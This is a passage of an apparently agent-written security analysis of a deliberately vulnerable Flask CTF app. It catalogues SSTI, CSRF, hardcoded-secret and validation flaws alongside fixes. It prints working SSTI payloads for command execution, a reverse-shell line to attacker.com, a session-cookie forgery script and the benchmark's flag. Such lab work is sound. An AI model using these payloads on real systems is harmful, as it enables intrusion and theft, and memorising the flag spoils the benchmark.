     <form action="http://target.com/add_transaction" method="POST">
         <input name="name" value="Attacker Inc.">
         <input name="email" value="attacker@evil.com">
         <input name="amount" value="999999">
     </form>
     <script>document.forms[0].submit();</script>
     ```

2. **Stored XSS (MITIGATED):**
   - **Severity:** LOW (currently mitigated)
   - **Method:** User-controlled data stored in database and rendered in HTML
   - **Mitigation:** Jinja2 auto-escaping enabled by default (`templates/transactions.html` lines 20-22)
   - **Impact:** If auto-escaping is disabled or `|safe` filter is used, stored XSS is possible
   - **Note:** Currently secure, but fragile (depends on template configuration)

3. **No Input Validation:**
   - **Severity:** MEDIUM
   - **Issues:**
     - **Email validation:** No regex check, no MX record lookup, no format validation
     - **Amount validation:** No type checking, accepts negative numbers, accepts non-numeric input (causes server error)
     - **Name validation:** No length limits (database enforces 100 char max)
   - **Impact:** Data integrity issues, potential DoS via invalid input

4. **Amount Type Vulnerability:**
   - **Severity:** MEDIUM
   - **Method:** `amount` field is stored as `Float` (line 33 of Transaction model)
   - **Issues:**
     - No validation that amount is numeric
     - Accepts negative amounts (-999999)
     - Float precision issues for financial data (should use Decimal)
   - **PoC:**
     ```
     POST /add_transaction
     name=Test&email=test@test.com&amount=abc
     → Server error (ValueError: could not convert string to float)
     ```

5. **PII Storage Without Encryption:**
   - **Severity:** MEDIUM (compliance risk)
   - **Method:** Email addresses stored in plaintext (line 32)
   - **Impact:** GDPR violation, privacy breach if database is compromised

**Security Assessment:** 🟠 **HIGH** - CSRF vulnerable, input validation gaps, PII exposure

---

**5. GET /transactions**
- **File:** `app.py` lines 92-98
- **Function:** `transactions()`
- **Code:**
  ```python
  @app.route('/transactions')
  @login_required
  def transactions(): 
      uid = current_user.id
      user = User.query.filter_by(id=uid).first()
      transactions = Transaction.query.filter_by(user_id=user.id).all()
      return render_template('transactions.html', transactions=transactions)
  ```
- **Purpose:** Display list of user's transactions with reminder form
- **Authentication:** `@login_required` (line 93)
- **Input Parameters:** None (displays data from database)
- **Template:** `templates/transactions.html` (includes client-side date validation)

**Attack Vectors:**

1. **Information Disclosure:**
   - **Severity:** LOW
   - **Method:** Displays user's transaction data (name, email, amount)
   - **Impact:** Minimal (user should be able to see their own data)
   - **Note:** Proper user_id filtering prevents horizontal privilege escalation

2. **Client-Side Validation Bypass:**
   - **Severity:** LOW (leads to CRITICAL SSTI in /remind)
   - **Method:** JavaScript validation on lines 38-40 of `transactions.html`
   - **Code:**
     ```javascript
     if (!dateInput.match(/^\d{4}-\d{2}-\d{2}$/)) {
         alert('Invalid date format. Please use YYYY-MM-DD.');
         event.preventDefault();
     }
     ```
   - **Bypass:** Client-side validation is trivial to bypass (browser DevTools, proxy interception, direct request)
   - **Impact:** Allows arbitrary input to `/remind` endpoint, enabling SSTI attack
   - **Note:** Server-side validation is completely absent

**Security Assessment:** ✅ **LOW RISK** - Data access properly scoped, but client-side validation creates attack path to SSTI

---

**6. GET /remind**
- **File:** `app.py` lines 100-109
- **Function:** `remind()`
- **Code:**
  ```python
  @app.route('/remind', methods=['GET'])
  @login_required
  def remind(): 
      date = request.args.get('date')  # User-controlled input
      print(date)  # Logged to console
      message = '''
      Reminder will be sent on {}
      '''.format(date)  # String interpolation
      tmpl=render_template_string(message,date=date)  # CRITICAL: SSTI
      return render_template('reminder.html', message=tmpl)
  ```
- **Purpose:** Display reminder confirmation for a transaction
- **Authentication:** `@login_required` (line 101)
- **Input Parameters:**
  - `date` (query parameter, **NO SERVER-SIDE VALIDATION**)
- **Template:** `templates/reminder.html` (line 8, displays `{{message}}`)

**CRITICAL VULNERABILITY: Server-Side Template Injection (SSTI)**

**Attack Vectors:**

1. **Remote Code Execution via SSTI:**
   - **Severity:** 🔴 **CRITICAL (CVSS 9.8)**
   - **Vulnerability Type:** Server-Side Template Injection (CWE-1336)
   - **Root Cause:** User-controlled input (`date` parameter) is formatted into a string (line 107) and then passed to `render_template_string()` (line 108)
   - **Attack Flow:**
     ```
     User Input → .format(date) → render_template_string() → Jinja2 Execution
     ```
   - **Exploitability:** **DIRECT** (requires authentication, but default credentials `user:user` exist)
   - **Impact:**
     - **Remote Code Execution** - Execute arbitrary Python code on the server
     - **File System Access** - Read/write any file accessible to the application
     - **Database Access** - Query/modify database outside normal authorization
     - **Flag Exfiltration** - Read `/app/flag.txt` via file operations
     - **Server Compromise** - Establish reverse shell, install backdoors

**Proof of Concept Exploits:**

```python
# 1. Configuration Disclosure
/remind?date={{config}}
# Output: <Config {'ENV': 'production', 'SECRET_KEY': 'U@T!F*G(EB...'}>

# 2. List all users
/remind?date={{User.query.all()}}
# Output: [<User 'user'>, ...]

# 3. Read flag file
/remind?date={{config.__class__.__init__.__globals__['os'].popen('cat /app/flag.txt').read()}}
# Output: flag{7e0416f5-d2b9-4faf-94c2-de7a39664d4c}

# 4. Execute arbitrary commands
/remind?date={{''.__class__.__mro__[1].__subclasses__()[396]('whoami',shell=True,stdout=-1).communicate()[0].strip()}}
# Output: root

# 5. Establish reverse shell
/remind?date={{''.__class__.__mro__[1].__subclasses__()[396]('bash -i >& /dev/tcp/attacker.com/4444 0>&1',shell=True)}}
```

**Technical Analysis:**

**Line 107:** `message = '''Reminder will be sent on {}'''.format(date)`
- User input is interpolated into the string using `.format()`
- At this point, malicious Jinja2 syntax (e.g., `{{config}}`) is embedded in the `message` string

**Line 108:** `tmpl=render_template_string(message,date=date)`
- The `message` string (containing user input) is passed to `render_template_string()`
- Jinja2 evaluates the template, executing any `{{...}}` or `{%...%}` expressions
- The `date=date` parameter is irrelevant because the malicious code is already in the template string itself

**Why This Is Critical:**
- Jinja2 templates have access to Python's `__builtins__`, `__globals__`, and `__subclasses__()` introspection
- Attackers can access `os` module, `subprocess` module, and file I/O functions
- No sandboxing or restrictions are in place

**Mitigation (Correct Implementation):**
```python
# SECURE: Use parameterized template, not render_template_string with user input
@app.route('/remind', methods=['GET'])
@login_required
def remind(): 
    date = request.args.get('date')
    # Validate input
    if not re.match(r'^\d{4}-\d{2}-\d{2}$', date):
        flash('Invalid date format')
        return redirect(url_for('transactions'))
    # Use safe string formatting or pass variable to template
    return render_template('reminder.html', date=date)
```

**Template (reminder.html):**
```html
<p>Reminder will be sent on {{ date }}</p>
<!-- Jinja2 auto-escaping protects against XSS, no code execution -->
```

2. **Reflected XSS (Secondary):**
   - **Severity:** HIGH (overshadowed by SSTI)
   - **Method:** SSTI can also inject HTML/JavaScript
   - **PoC:**
     ```
     /remind?date=<script>alert(document.cookie)</script>
     ```
   - **Note:** XSS is less severe than RCE, but still dangerous

3. **Information Disclosure via Logging:**
   - **Severity:** LOW
   - **Method:** Line 104 logs user input to console: `print(date)`
   - **Impact:** Sensitive data logged (if `date` contains PII or secrets)
   - **Note:** Console logs may be accessible in deployment environments

**Security Assessment:** 🔴 **CRITICAL** - Remote Code Execution vulnerability with direct exploitation path

---

### Internal Service Communication

**Finding:** ❌ **NO INTERNAL SERVICE COMMUNICATION**

This is a **monolithic application** with no microservices architecture, service mesh, or internal API calls. The application does not communicate with:
- External APIs (no HTTP clients imported)
- Internal microservices (single Flask process)
- Message queues (no RabbitMQ, Redis, Kafka)
- Caching layers (no Redis, Memcached)
- Background job queues (no Celery, RQ)

**Trust Relationships:** Not applicable (no services to trust)

**Security Assumptions:** The application assumes:
- Direct database access is safe (SQLAlchemy ORM protects against SQL injection)
- File system operations are safe (only reads/writes flag.txt)
- No network segmentation needed (single-service deployment)

**Impact:** While the lack of internal services reduces attack surface for **lateral movement**, it also means there is **no defense in depth**. A compromise of the Flask application = compromise of the entire system.

---

### Input Validation Patterns

**Finding:** ❌ **MINIMAL TO NO INPUT VALIDATION**

The application has **NO centralized input validation framework** and performs **NO server-side validation** on user input. All validation is client-side only, which is trivially bypassed.

**Input Validation Analysis by Endpoint:**

| Endpoint | Input Fields | Client-Side Validation | Server-Side Validation | Vulnerability |
|----------|--------------|------------------------|------------------------|---------------|
| `/login` | username, password | None | **NONE** | Brute force, injection |
| `/add_transaction` | name, email, amount | None | **NONE** | Invalid data, type errors |
| `/remind` | date (query param) | Regex (JS) | **NONE** | **SSTI RCE** |

**Client-Side Validation (transactions.html lines 38-40):**
```javascript
if (!dateInput.match(/^\d{4}-\d{2}-\d{2}$/)) {
    alert('Invalid date format. Please use YYYY-MM-DD.');
    event.preventDefault();
}
```
- ✅ Validates date format (YYYY-MM-DD)
- ❌ **EASILY BYPASSED** - Client-side JavaScript can be disabled, modified, or bypassed via proxy
- ❌ **NO SERVER-SIDE EQUIVALENT** - Line 103 of `app.py` accepts any value: `date = request.args.get('date')`

**Missing Validation Mechanisms:**

1. **No Input Length Limits:**
   - Username/password: Accepts any length (database enforces 100 char max)
   - Transaction name/email: Accepts any length (database enforces 100 char max)
   - Amount: Accepts any string (causes crash if non-numeric)

2. **No Type Validation:**
   - Amount field: Should be float, but no type check before database insert
   - User ID: Should be integer, but no validation (relies on Flask-Login)

3. **No Format Validation:**
   - Email: No regex check, accepts invalid formats (`test`, `@`, `user@`)
   - Date: Client-side only, no server-side regex

4. **No Range Validation:**
   - Amount: Accepts negative numbers (`-999999`)
   - Date: No validation that date is in the future or a valid date

5. **No Sanitization:**
   - HTML special characters: Relies on Jinja2 auto-escaping
   - SQL special characters: Relies on SQLAlchemy ORM
   - Shell metacharacters: No shell execution, so not applicable (except via SSTI)

**Recommended Validation Framework:**

```python
# Add to app.py
from wtforms import StringField, FloatField, validators
from flask_wtf import FlaskForm

class TransactionForm(FlaskForm):
    name = StringField('Name', [
        validators.Length(min=1, max=100),
        validators.DataRequired()
    ])
    email = StringField('Email', [
        validators.Email(),
        validators.Length(max=100),
        validators.DataRequired()
    ])
    amount = FloatField('Amount', [
        validators.NumberRange(min=0.01, max=999999),
        validators.DataRequired()
    ])
```

**Current State:** 🔴 **CRITICAL FAILURE** - No server-side input validation, leading to SSTI and data integrity issues

---

### Background Processing

**Finding:** ❌ **NO BACKGROUND JOB PROCESSING**

The application is a **synchronous Flask application** with no asynchronous task processing, background jobs, or message queues.

**No Evidence Of:**
- Celery task queue
- Redis Queue (RQ)
- APScheduler
- Background threads/processes
- Webhooks that trigger async jobs
- Scheduled tasks (cron jobs)
- Email sending (despite "reminder" functionality name)

**Implication:** The `/remind` endpoint is misleadingly named. It does **NOT** actually send reminder emails or schedule background tasks. It simply renders a confirmation page with the user-provided date, making the SSTI vulnerability even more egregious (no legitimate reason to use `render_template_string` for this functionality).

**Security Assessment:** ✅ **N/A** - No background processing = no background job security concerns

---

## 6. Infrastructure & Operational Security

### Secrets Management

**Secrets Inventory:**

| Secret Type | Location | Value | Storage Method | Risk Level |
|-------------|----------|-------|----------------|------------|
| Flask Secret Key | `app.py:10` | `U@T!F*G(EBDOUNIX_PWU)VBDY$%^&*(` | Hardcoded | 🔴 CRITICAL |
| Database URI | `app.py:12` | `sqlite:///database.db` | Hardcoded | 🟡 MEDIUM |
| CTF Flag | `.env:1` | `flag{7e0416f5-d2b9-4faf-94c2-de7a39664d4c}` | Environment file | 🔴 CRITICAL |
| Default Password | `app.py:40` | `user` | Hardcoded | 🔴 CRITICAL |

**CRITICAL FINDING: Hardcoded Secret Key**

**File:** `app.py` line 10
```python
app.secret_key = 'U@T!F*G(EBDOUNIX_PWU)VBDY$%^&*('
```

**Security Issues:**
- ❌ Static secret committed to Git repository
- ❌ Never rotated (same key for all deployments)
- ❌ Weak entropy (keyboard-walked pattern, not cryptographically random)
- ❌ No environment variable usage
- ❌ Exposed in source control history

**Impact:**
- **Session Forgery:** Attackers with the secret key can forge session cookies for any user
- **Authentication Bypass:** Create admin sessions without credentials
- **Cookie Tampering:** Modify session data to escalate privileges

**Exploitation Method:**
```python
from itsdangerous import URLSafeTimedSerializer
secret_key = 'U@T!F*G(EBDOUNIX_PWU)VBDY$%^&*('
serializer = URLSafeTimedSerializer(secret_key)

# Forge session for user_id=1
session_data = {'_user_id': '1', '_fresh': True}
forged_cookie = serializer.dumps(session_data)
# Use forged_cookie in Cookie header
```

**Secret Rotation:** ❌ No mechanism for rotating secrets without redeploying application

**Recommended Solution:**
```python
import os
import secrets

# Generate secure random key
app.secret_key = os.getenv('SECRET_KEY', secrets.token_hex(32))
```

**Environment Variable `.env` File:**

**File:** `.env` line 1
```
FLAG="flag{7e0416f5-d2b9-4faf-94c2-de7a39664d4c}"
```

**Issues:**
- ❌ `.env` file committed to repository (should be `.gitignore`d)
- ❌ Sensitive flag value in version control
- ❌ Exposed in Git history (cannot be fully removed without history rewrite)

**Flag File Creation (`app.py` lines 114-118):**
```python
if os.path.exists('flag.txt'):
    os.remove('flag.txt')
flag_file = open('flag.txt', 'a')
flag_file.write(os.getenv('FLAG', 'flag{this_is_a_fake_flag}'))
flag_file.close()
```

**Issues:**
- ❌ Flag written to file system in plaintext
- ❌ No file encryption
- ❌ Accessible via SSTI file read exploit
- ❌ Fallback value reveals flag format

**Secrets Manager Integration:** ❌ None (no HashiCorp Vault, AWS Secrets Manager, Azure Key Vault, etc.)

---

### Configuration Security

**Environment Separation:** ❌ **NO ENVIRONMENT DISTINCTION**

The application has **NO environment-specific configuration** (development vs. staging vs. production). The same hardcoded values are used across all deployments.

**Missing Environment Configuration:**
- No `FLASK_ENV` or `FLASK_DEBUG` environment variable usage
- No `config.py` with environment-specific classes
- No `.env.development`, `.env.production` separation
- Debug mode hardcoded to `True` (line 119)

**Secret Handling Assessment:**

| Best Practice | Status | Evidence |
|---------------|--------|----------|
| Secrets in environment variables | ⚠️ Partial | Only FLAG uses `.env` |
| Secrets manager integration | ❌ No | None |
| `.gitignore` for `.env` files | ❌ Unknown | `.env` exists in workspace |
| Secret rotation mechanism | ❌ No | None |
| Least privilege access | ❌ No | All secrets world-readable |
| Encrypted secrets at rest | ❌ No | Plaintext storage |

**Configuration File Security:**

**File:** `app.py` (entire application configuration in one file)
- No separation of concerns
- No configuration classes
- All settings hardcoded
- No external configuration file (YAML, TOML, JSON)

**Docker Configuration:**

**File:** `docker-compose.yml`
```yaml
services:
  web:
    build:
      context: ./app
      dockerfile: Dockerfile
    ports:
      - "5093:5003"
    healthcheck:
      test: ["CMD", "curl", "-f", "http://localhost:5003"]
      interval: 10s
      retries: 5
```

**Issues:**
- ❌ No environment variables passed to container
- ❌ No secrets volume mount
- ❌ Ports exposed to all interfaces (0.0.0.0)

**Dockerfile:**

**File:** `app/Dockerfile`
```dockerfile
FROM python:3.8-slim-buster
ARG FLAG
ENV FLAG=${FLAG}
```

**CRITICAL ISSUE:** Flag passed as build argument and stored in environment variable
- Build arguments are stored in image metadata (visible with `docker history`)
- Environment variables are visible to all container processes
- Flag persists in image layers

---

### External Dependencies

**Third-Party Services:** ❌ **NONE**

The application does NOT integrate with:
- Payment processors (Stripe, PayPal)
- Email services (SendGrid, Mailgun, AWS SES)
- SMS gateways (Twilio)
- Authentication providers (Auth0, OAuth providers)
- Cloud APIs (AWS, GCP, Azure)
- Analytics services (Google Analytics, Mixpanel)
- Monitoring services (Datadog, New Relic)

**Client-Side CDN Dependencies:**

**File:** `templates/base.html`
```html
<link rel="stylesheet" href="https://stackpath.bootstrapcdn.com/bootstrap/4.5.2/css/bootstrap.min.css">
<script src="https://code.jquery.com/jquery-3.5.1.slim.min.js"></script>
<script src="https://cdn.jsdelivr.net/npm/@popperjs/core@2.9.2/dist/umd/popper.min.js"></script>
<script src="https://stackpath.bootstrapcdn.com/bootstrap/4.5.2/js/bootstrap.min.js"></script>
```

**Security Concerns:**

1. **No Subresource Integrity (SRI):**
   - ❌ No `integrity` attribute on `<script>` and `<link>` tags
   - **Risk:** CDN compromise = client-side code injection
   - **Impact:** If StackPath or jQuery CDN is compromised, malicious JavaScript can execute on client browsers

2. **Third-Party CDN Dependency:**
   - Application functionality depends on external CDN availability
   - Network requests to `stackpath.bootstrapcdn.com`, `code.jquery.com`, `cdn.jsdelivr.net`
   - **Privacy:** CDN providers can track users via Referer header

3. **Outdated Versions:**
   - Bootstrap 4.5.2 (released July 2020, not latest 5.x)
   - jQuery 3.5.1 (released May 2020, current is 3.7.x)
   - **Risk:** Known vulnerabilities in older versions

**Recommended Mitigation:**
```html
<script src="https://code.jquery.com/jquery-3.5.1.slim.min.js" 
        integrity="sha384-DfXdz2htPH0lsSSs5nCTpuj/zy4C+OGpamoFVy38MVBnE+IbbVYUew+OrCXaRkfj" 
        crossorigin="anonymous"></script>
```

**Python Dependencies:**

**File:** `requirements.txt`
```
Flask
Flask-SQLAlchemy
flask_login
flask_wtf
```

**CRITICAL ISSUE:** No version pinning
- ❌ No versions specified (installs latest versions at build time)
- **Risk:** Dependency confusion attacks, unpredictable behavior
- **Impact:** Different builds pull different versions with different security properties

**Recommended:**
```
Flask==3.1.1
Flask-SQLAlchemy==3.1.1
flask-login==0.6.3
flask-wtf==1.2.2
```

**Deprecated Dependencies:**

**File:** `Dockerfile` line 12
```dockerfile
RUN apt-get update && apt-get install -y --no-install-recommends phantomjs
```

**PhantomJS:**
- Last release: 2016 (abandoned project)
- Known vulnerabilities: CVE-2019-17221, CVE-2018-11586
- **Status:** Installed but never used in application code
- **Risk:** Increases attack surface, container image size

---

### Monitoring & Logging

**Logging Implementation:** ❌ **MINIMAL (DEBUG PRINT ONLY)**

**Evidence of Logging:**

**File:** `app.py` line 104
```python
print(date)  # Console logging only
```

**Assessment:**
- ❌ No structured logging framework (no `logging` module usage)
- ❌ No log levels (DEBUG, INFO, WARNING, ERROR, CRITICAL)
- ❌ No log aggregation (ELK, Splunk, CloudWatch)
- ❌ No correlation IDs for request tracking

**Missing Security Event Logging:**

| Event Type | Status | Risk |
|------------|--------|------|
| Authentication attempts (success/failure) | ❌ Not logged | Cannot detect brute force attacks |
| Authorization failures | ❌ Not logged | Cannot detect privilege escalation attempts |
| Data access (transaction views) | ❌ Not logged | No audit trail |
| Data modifications (transaction creation) | ❌ Not logged | Cannot investigate unauthorized changes |
| SSTI exploit attempts | ❌ Not logged | Cannot detect active attacks |
| Session creation/termination | ❌ Not logged | Cannot investigate session hijacking |
| Configuration changes | ❌ N/A | No dynamic configuration |
| Exceptions and errors | ⚠️ Console only | Debug mode shows stack traces to users |

**Log Exposure Risk:**

**Line 104:** `print(date)` logs user input to console
- **Risk:** Logs may contain sensitive data
- **Risk:** Log injection (if user input contains newlines or ANSI codes)
- **Issue:** Logs sent to stdout (captured by Docker, potentially exposed)

**Monitoring & Observability:** ❌ **NOT IMPLEMENTED**

**Missing Components:**
- Application Performance Monitoring (APM) - No Datadog, New Relic, Prometheus
- Error tracking - No Sentry, Rollbar, Bugsnag
- Metrics collection - No StatsD, Prometheus exporters
- Distributed tracing - No Jaeger, Zipkin
- Uptime monitoring - No Pingdom, UptimeRobot (except Docker health check)
- Security monitoring - No SIEM, IDS/IPS

**Docker Health Check:**

**File:** `docker-compose.yml` lines 9-11
```yaml
healthcheck:
  test: ["CMD", "curl", "-f", "http://localhost:5003"]
  interval: 10s
  retries: 5
```

**Assessment:**
- ✅ Basic health check implemented
- ❌ Only checks HTTP response, not application health
- ❌ Container currently marked **"unhealthy"** (health check failing)
- **Issue:** Health check uses `curl`, but application may not respond on port 5003 (debug server issues)

**Audit Logging for Compliance:** ❌ **NOT IMPLEMENTED**

**GDPR Article 30 (Records of Processing):** Requires audit logs of personal data processing
**PCI DSS Requirement 10:** Requires audit trails for all access to cardholder data
**SOC 2 Type II:** Requires logging of security events

**Current State:** 🔴 **CRITICAL FAILURE** - No security logging, no monitoring, cannot detect or investigate security incidents

---

### Infrastructure Configuration for Security Headers

**Security Headers Assessment:** ❌ **NOT IMPLEMENTED**

I conducted a comprehensive search for infrastructure configuration files that define security headers like `Strict-Transport-Security` (HSTS) and `Cache-Control`. The following locations were examined:

**1. Nginx Configuration:** ❌ Not Found
- No `nginx.conf`, `nginx.conf.template`, or `/etc/nginx/` directory
- No reverse proxy configuration

**2. Kubernetes Ingress:** ❌ Not Found
- No `ingress.yaml`, `gateway-ingress.yaml`, or Kubernetes manifests
- No Ingress Controller configuration

**3. CDN Configuration:** ❌ Not Found
- No CloudFront, Cloudflare, or Fastly configuration
- No edge security policies

**4. Flask Application Headers:** ❌ Not Found
- No Flask-Talisman or Flask-SeaSurf
- No `@app.after_request` hooks for custom headers
- No security headers in `app.py`

**5. Docker/Container Configuration:** ❌ No Security Headers
- `docker-compose.yml` does not specify headers
- Dockerfile does not configure web server with headers

**Missing Security Headers:**

| Header | Purpose | Status | Risk |
|--------|---------|--------|------|
| `Strict-Transport-Security` (HSTS) | Force HTTPS | ❌ Not set | MITM attacks |
| `Content-Security-Policy` (CSP) | Prevent XSS | ❌ Not set | XSS exploitation easier |
| `X-Frame-Options` | Prevent clickjacking | ❌ Not set | Clickjacking possible |
| `X-Content-Type-Options` | Prevent MIME sniffing | ❌ Not set | MIME confusion attacks |
| `X-XSS-Protection` | Browser XSS filter | ❌ Not set | Legacy XSS protection missing |
| `Referrer-Policy` | Control referrer info | ❌ Not set | Information leakage |
| `Permissions-Policy` | Control browser features | ❌ Not set | Unnecessary feature access |
| `Cache-Control` | Control caching | ❌ Not set | Sensitive data may be cached |

**Verification Method:**

**Command:** `curl -I http://localhost:5093/login`

**Expected Output (if headers were present):**
```
HTTP/1.1 200 OK
Strict-Transport-Security: max-age=31536000; includeSubDomains
Content-Security-Policy: default-src 'self'
X-Frame-Options: DENY
X-Content-Type-Options: nosniff
...
```

**Actual Output:** Only basic Flask headers (Content-Type, Content-Length, Date, Server: Werkzeug/3.0.6)

**Recommended Implementation:**

**Option 1: Flask-Talisman (Application-Level)**
```python
from flask_talisman import Talisman

Talisman(app, 
    force_https=True,
    strict_transport_security=True,
    content_security_policy={
        'default-src': "'self'",
        'script-src': ["'self'", 'https://code.jquery.com'],
        'style-src': ["'self'", 'https://stackpath.bootstrapcdn.com']
    }
)
```

**Option 2: Nginx Reverse Proxy (Infrastructure-Level)**
```nginx
add_header Strict-Transport-Security "max-age=31536000; includeSubDomains" always;
add_header X-Frame-Options "DENY" always;
add_header X-Content-Type-Options "nosniff" always;
add_header Content-Security-Policy "default-src 'self'" always;
```

**Current State:** 🔴 **CRITICAL FAILURE** - No security headers at any layer (application, reverse proxy, or CDN)

---

## 7. Overall Codebase Indexing

The PayMeBack application is a **compact, single-file Flask monolith** with a minimalist directory structure that prioritizes simplicity over security and scalability. The codebase consists of 119 lines of Python in a single `app.py` file, 5 Jinja2 HTML templates, and supporting Docker/build files. This organizational approach significantly impacts the discoverability of security-relevant components, as there is no architectural separation between concerns, making both manual review and automated security scanning straightforward but revealing critical flaws immediately.

**Directory Structure:**

```
/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-093-24/
├── .env                          # Environment variables (FLAG value, committed to Git)
├── .xben_build_done              # Build marker file (indicates successful build)
├── app/
│   ├── app.py                    # Main application (119 lines, all logic in one file)
│   ├── Dockerfile                # Container definition (Python 3.8-slim-buster, PhantomJS)
│   ├── flag.txt                  # CTF flag file (generated at runtime from .env)
│   ├── requirements.txt          # Python dependencies (no version pinning)
│   └── templates/
│       ├── add_transaction.html  # Transaction creation form
│       ├── article.html          # Unused template (no route handler)
│       ├── base.html             # Base template with Bootstrap CDN links
│       ├── login.html            # Login form
│       ├── reminder.html         # Reminder confirmation (SSTI vulnerability)
│       └── transactions.html     # Transaction list with client-side date validation
├── benchmark.json                # Benchmark metadata (application metadata)
├── docker-compose.yml            # Docker orchestration (single service)
├── Makefile                      # Build automation (includes common.mk)
└── outputs/
    ├── scans/                    # External scan results (nmap, subfinder, whatweb)
    └── schemas/                  # API schemas directory (empty - no schemas found)
```

**Organizational Characteristics:**

**1. Monolithic Architecture:**
The entire application is contained in a **single 119-line Python file** (`app.py`). This includes:
- Database models (User, Transaction)
- Route handlers (login, logout, add_transaction, transactions, remind)
- Configuration (secret key, database URI)
- Application initialization
- Flask-Login user loader
- Database seeding (default user creation)
- Flag file generation

**Impact on Security Discoverability:** This consolidation makes security review **trivially easy** - all attack surfaces, authentication logic, and vulnerabilities are in one file. However, it also means there are **no architectural boundaries** to slow down attackers. A single SSTI vulnerability compromises the entire application.

**2. Minimal Directory Nesting:**
The codebase has only **two levels of nesting** (`app/templates/`). There are no subdirectories for:
- Models (e.g., `app/models/`)
- Routes/Controllers (e.g., `app/routes/`)
- Services/Business Logic (e.g., `app/services/`)
- Utilities (e.g., `app/utils/`)
- Middleware (e.g., `app/middleware/`)
- Configuration (e.g., `app/config/`)

**Impact on Security Discoverability:** Security components (authentication, CSRF, database) are **not modular**. Searching for "authentication" requires reading the entire `app.py` file, as there are no dedicated auth modules. This flat structure makes it impossible to apply principle of least privilege or separation of duties.

**3. No Build Orchestration Complexity:**
Build process is straightforward:
- **Makefile** with simple targets (likely `make build`, `make run`)
- **Docker Compose** with single service definition
- **Dockerfile** with linear build steps (no multi-stage builds)

**Tools & Conventions:**

**Build System:**
- **Docker/Buildah:** Container image creation (buildah version 1.40.0)
- **Docker Compose:** Single-service orchestration
- **Make:** Build automation (references `common.mk`, likely shared across projects)

**Testing Frameworks:** ❌ **NONE FOUND**
- No `tests/` directory
- No `pytest`, `unittest`, or `nose` imports
- No test coverage tools (no `coverage.py`, `pytest-cov`)
- No CI/CD configuration (no `.github/workflows/`, `.gitlab-ci.yml`, `.circleci/`)

**Impact on Security Discoverability:** The **absence of tests** means there are no security test cases to review. No evidence of security regression testing, fuzz testing, or integration tests for authentication flows.

**Code Generation:** ❌ **NONE FOUND**
- No OpenAPI/Swagger code generators
- No ORM migration tools (e.g., Alembic)
- No GraphQL schema generators
- Models defined directly in `app.py` (lines 24-34)

**Dependency Management:**
- **requirements.txt:** Lists dependencies without version pins
- **No Pipfile/Poetry:** No modern dependency management
- **No lock files:** No `requirements.lock` or `Pipfile.lock`

**Impact on Security Discoverability:** The lack of version pinning makes it **impossible to identify specific CVEs** in dependencies. Security scanners like `safety` or `pip-audit` cannot provide accurate vulnerability reports without version information.

**Security-Relevant Component Discoverability:**

| Component | Location | Discoverability | Notes |
|-----------|----------|-----------------|-------|
| Authentication | `app.py:55-68` | ✅ Trivial | Single function, no modules |
| Authorization | `app.py:@login_required` | ✅ Trivial | Decorator usage visible |
| CSRF Protection | `app.py:18-21` | ✅ Trivial | Config at top of file |
| Database Models | `app.py:24-34` | ✅ Trivial | Inline class definitions |
| Routes/Endpoints | `app.py:@app.route()` | ✅ Trivial | Decorator-based routing |
| Input Validation | **NONE** | ✅ Trivial | Absence is obvious |
| Secret Management | `app.py:10` | ✅ Trivial | Hardcoded at top |
| Encryption | **NONE** | ✅ Trivial | No crypto imports |
| Logging | `app.py:104` | ✅ Trivial | Single print statement |
| API Schemas | **NONE** | ✅ Trivial | No schema files found |

**Conclusion:** The codebase's **extreme simplicity** makes security analysis **straightforward but alarming**. The lack of modularity, testing, and defensive architecture means that security flaws are both **easy to find** and **easy to exploit**. The single-file structure provides no defense-in-depth, no code separation, and no architectural security boundaries. For a penetration tester, this is a **target-rich environment** where a single vulnerability (SSTI) provides complete system compromise.

---

## 8. Critical File Paths

All file paths listed below are security-relevant locations identified during this analysis. These are prioritized by security impact and organized by category for downstream agent use.

### Configuration

- `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-093-24/app/app.py` (Lines 10-21: Flask config, secret key, CSRF disabled, session lifetime)
- `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-093-24/app/requirements.txt` (Python dependencies, no version pinning)
- `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-093-24/app/Dockerfile` (Container definition, Python 3.8-slim-buster, PhantomJS, FLAG argument)
- `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-093-24/docker-compose.yml` (Service orchestration, port mapping 5093:5003, health check)
- `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-093-24/.env` (Environment variables, FLAG="flag{7e0416f5-d2b9-4faf-94c2-de7a39664d4c}")
- `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-093-24/Makefile` (Build automation)

### Authentication & Authorization

- `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-093-24/app/app.py` (Lines 55-68: Login route with plaintext password comparison)
- `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-093-24/app/app.py` (Lines 71-75: Logout route)
- `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-093-24/app/app.py` (Lines 47-49: Flask-Login user_loader)
- `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-093-24/app/app.py` (Lines 14-15: LoginManager configuration)
- `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-093-24/app/app.py` (Lines 24-27: User model with plaintext password column)
- `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-093-24/app/app.py` (Lines 39-42: Default user creation user:user)
- `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-093-24/app/templates/login.html` (Lines 7-17: Login form, no CSRF token)

### API & Routing

- `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-093-24/app/app.py` (Line 51: GET / - home redirect)
- `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-093-24/app/app.py` (Lines 55-68: GET/POST /login - authentication)
- `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-093-24/app/app.py` (Lines 71-75: GET /logout - session termination)
- `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-093-24/app/app.py` (Lines 77-90: GET/POST /add_transaction - create transactions)
- `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-093-24/app/app.py` (Lines 92-98: GET /transactions - list user transactions)
- `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-093-24/app/app.py` (Lines 100-109: GET /remind - CRITICAL SSTI vulnerability)

### Data Models & DB Interaction

- `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-093-24/app/app.py` (Lines 24-27: User model - plaintext password storage)
